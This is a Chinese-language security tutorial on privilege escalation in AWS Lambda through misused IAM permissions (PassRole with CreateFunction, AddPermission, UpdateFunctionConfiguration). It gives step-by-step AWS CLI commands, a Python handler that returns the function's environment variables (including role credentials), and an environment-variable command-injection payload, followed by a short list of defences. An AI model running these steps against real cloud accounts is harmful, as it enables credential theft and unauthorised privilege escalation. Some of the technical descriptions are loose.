深入解析 AWS Lambda:权限管理与提权技巧全揭秘
字数 1407 2025-08-29 08:30:13
AWS Lambda 权限管理与提权技巧全面解析
1. IAM PassRole 权限与 Lambda 提权
1.1 iam:PassRole 权限详解
iam:PassRole 是 AWS IAM 权限中的关键权限,它允许 IAM 用户或角色将特定 IAM 角色传递给 AWS 服务,使这些服务能够使用该角色执行任务或访问资源。
关键特性:
- 允许用户将权限附加到自己创建的 AWS 资源上
- 角色通常包含相关权限(如访问 S3、CloudWatch 等)
- 用户仅能传递角色,不会直接获得该角色的权限
1.2 结合 lambda:CreateFunction 的提权原理
当用户同时拥有 iam:PassRole 和 lambda:CreateFunction 权限时,可能实现权限提升:
- 创建 Lambda 函数时,可以为其指定高权限角色
- 通过控制 Lambda 函数(如获取环境变量)获取高权限凭据
- 关键点:
CreateFunction默认包含执行权限
1.3 实际利用步骤
-
准备恶意代码:
- 创建 Python 脚本(如
rev.py)读取环境变量
import os def lambda_handler(event, context): return dict(os.environ) - 创建 Python 脚本(如
-
打包代码:
zip rev.zip rev.py -
创建 Lambda 函数:
aws lambda create-function \ --function-name malicious_function \ --runtime python3.8 \ --handler rev.lambda_handler \ --role arn:aws:iam::123456789012:role/TestRole \ --zip-file fileb://rev.zip -
执行函数获取敏感信息:
aws lambda invoke --function-name malicious_function output.txt
2. lambda:AddPermission 权限利用
2.1 AddPermission 权限说明
lambda:AddPermission 允许向 Lambda 函数添加权限,控制哪些实体可以调用该函数。
2.2 提权原理
- 用户可以给 IAM 角色赋予 Lambda 函数的任意权限
- 可以修改 Lambda 函数代码为恶意代码
- 通过授予调用权限实现权限提升
2.3 利用步骤
-
查看现有函数:
aws lambda list-functions -
添加权限(示例给当前角色所有权限):
aws lambda add-permission \ --function-name target_function \ --action lambda:* \ --principal arn:aws:iam::123456789012:role/CurrentRole \ --statement-id malicious_statement -
更新函数代码:
aws lambda update-function-code \ --function-name target_function \ --zip-file fileb://malicious.zip -
触发函数执行:
aws lambda invoke --function-name target_function output.txt
3. lambda:UpdateFunctionConfiguration 权限利用
3.1 权限说明
lambda:UpdateFunctionConfiguration 允许修改 Lambda 函数配置,包括:
- 环境变量:可设置/修改/删除
- 执行角色:可更换为更高权限角色
3.2 环境变量注入攻击
通过滥用环境变量实现命令执行:
-
Python 环境变量滥用:
- 利用
PYTHONWARNING和BROWSER环境变量执行命令
- 利用
-
配置恶意环境变量:
aws lambda update-function-configuration \ --function-name target_function \ --environment "Variables={PYTHONWARNING='import os; os.system(\"malicious_command\")'}" -
触发函数执行:
aws lambda invoke --function-name target_function output.txt
4. 防御措施
-
最小权限原则:
- 严格限制
iam:PassRole权限 - 仅允许传递必要的最小权限角色
- 严格限制
-
Lambda 函数权限控制:
- 监控 Lambda 函数的角色分配
- 限制
UpdateFunctionConfiguration权限
-
环境变量管理:
- 避免在环境变量中存储敏感信息
- 监控环境变量变更
-
审计与监控:
- 记录所有 Lambda 相关 API 调用
- 设置异常行为告警
5. 总结
AWS Lambda 提权主要利用以下权限组合:
iam:PassRole+lambda:CreateFunction:创建高权限函数lambda:AddPermission:授予恶意调用权限lambda:UpdateFunctionConfiguration:通过环境变量或角色更换提权
理解这些权限的交互方式是防御和攻击的关键,安全团队应特别关注这些权限的分配和使用情况。